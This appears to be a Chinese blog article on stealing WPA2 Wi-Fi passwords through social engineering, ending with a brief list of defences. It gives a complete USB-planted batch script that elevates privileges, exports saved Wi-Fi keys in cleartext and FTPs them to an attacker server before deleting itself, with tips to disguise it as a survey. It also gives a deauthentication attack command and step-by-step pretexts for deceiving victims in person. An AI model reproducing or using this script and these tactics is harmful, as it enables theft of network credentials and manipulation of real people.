常見社工破解WPA2密碼方法及防范措施
1. 前言
何為社工?社工是一種通過利用受害者心理弱點，如本能反應、好奇心、同情心、信任、貪婪等進行諸如欺騙、盜取、控制等非法手段的一種攻擊方式。在無線安全中也可以利用社工做到許多非法操作。下面舉幾個利用社工盜取wpa2密碼的例子。
2. 移動存儲攻擊
某寶小容量u盤，在u盤中存放一個bat批處理文件，并命名為誘使人點開的標題，如：windows電腦優化、私人照片等等。其實bat文件的內容是這個：
- @echo off
- >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
- if '%errorlevel%' NEQ '0' (
- goto UACPrompt
- ) else ( goto gotAdmin )
- :UACPrompt
- echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
- echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
- "%temp%\getadmin.vbs"
- exit /B
- :gotAdmin
- if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
- md c:\win
- netsh wlan export profile key=clear folder=c:\win
- echo open 服務器ip>C:\config.txt
- echo user 賬號>>C:\config.txt
- echo 密碼>>C:\config.txt
- echo mput c:\win\*.xml>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo yes>>C:\config.txt
- echo bye>>C:\config.txt
- ftp -n -s:"C:\config.txt"
- del C:\config.txt
- del C:\win\*.xml
- del %0
這個bat腳本會讀取本機連接過的wifi信息(包括密碼)打包到一個文件夾里并全部put到服務器上，然后刪除痕跡和自身防止服務器信息泄露。最后攻擊者就可以在自己的ftp服務器里挑選自己中意的wifi了。
攻擊演示：
打開此腳本
彈出cmd界面，1秒后消失(太快了不好截)，bat腳本也隨之消失
查看ftp服務器
wifi信息已經put上來了
進入服務器打開一個xml文件
就拿到了密碼
可以自己在里面添加功能使社工效果更好，例如腳本名稱命名為某某公司有獎問卷調查，并添加打開調查問卷的命令，使攻擊神不知鬼不覺。
3. 直接接觸受害者
(1) 使用Deauthentication攻擊
- aireplay-ng –deauth 10000 -a xx:xx:xx:xx:xx:xx -c xx:xx:xx:xx:xx:xx mon0
在下班休息的時候(這個時候普遍在使用網絡)對受害者使用斷網攻擊，等一小時后去敲門，詢問網絡是否故障，詢問網絡是哪家公司配置的，然后聲稱自己的網絡也故障了，是一樣的公司，然后詢問報修電話并撥打，其實撥打的是其他人或根本沒有撥打，然后假裝是保修人員提示讓自己重啟路由器，攻擊者就可以接觸到受害者路由器，運氣好的話路由器背面有pin碼，就可以撤退了。如果沒有，攻擊者就進一步施壓，假裝被保修人員提示打開路由器管理界面在管理界面重啟路由器，乘機看到密碼。重啟完畢后手機ssh連接kali停止攻擊，造成重啟成功修復網絡的假象，然后撤退。
(2) 結合移動存儲攻擊，配合badusb，謊稱有重要文件需要發送然而手機沒電了，家里人還沒下班。第一天進公司不想留下壞印象，從而直接接觸受害者電腦，插入badusb，執行bat腳本或木馬
(3) 謊稱自己是某某公司或某某大學的，正在進行網民安全意識的問卷調查，并將其中帶有提問wifi密碼的問卷遞交受害者，從而獲得wifi密碼
4. wifi釣魚
利用fluxion、wifiphisher等工具實施釣魚攻擊：
它們的大概原理是抓取受害者客戶端與wifi的握手包，對目標客戶端實施wifi拒絕服務攻擊，發送大量解離包，然后偽造一個相同名稱的ap，受害者連接偽造的ap后會被解析到這個頁面：
受害者輸入密碼后會自動與抓取的握手包進行比對，若正確，則停止拒絕服務攻擊。網上有很多wifi釣魚的教程，這里就不再闡述。
4. 防御措施
- 綁定mac地址，設置白名單，只允許自己的機器連接wifi
- 隱藏wifi廣播，避免自己成為目標
- 不要插入來路不明的u盤，不要打開來路不明的程序，不要連接來路不明的無線信號
- 盡量不讓陌生人接觸到自己的設備
- wifi最好使用wpa2加密，并使密碼復雜度越高越好，盡量別在密碼里使用和自己有關的信息
- 定期更換路由器管理界面密碼和wifi密碼
- 最好關閉路由器上的wps功能
- 盡量不使用wifi萬能鑰匙等類似軟件
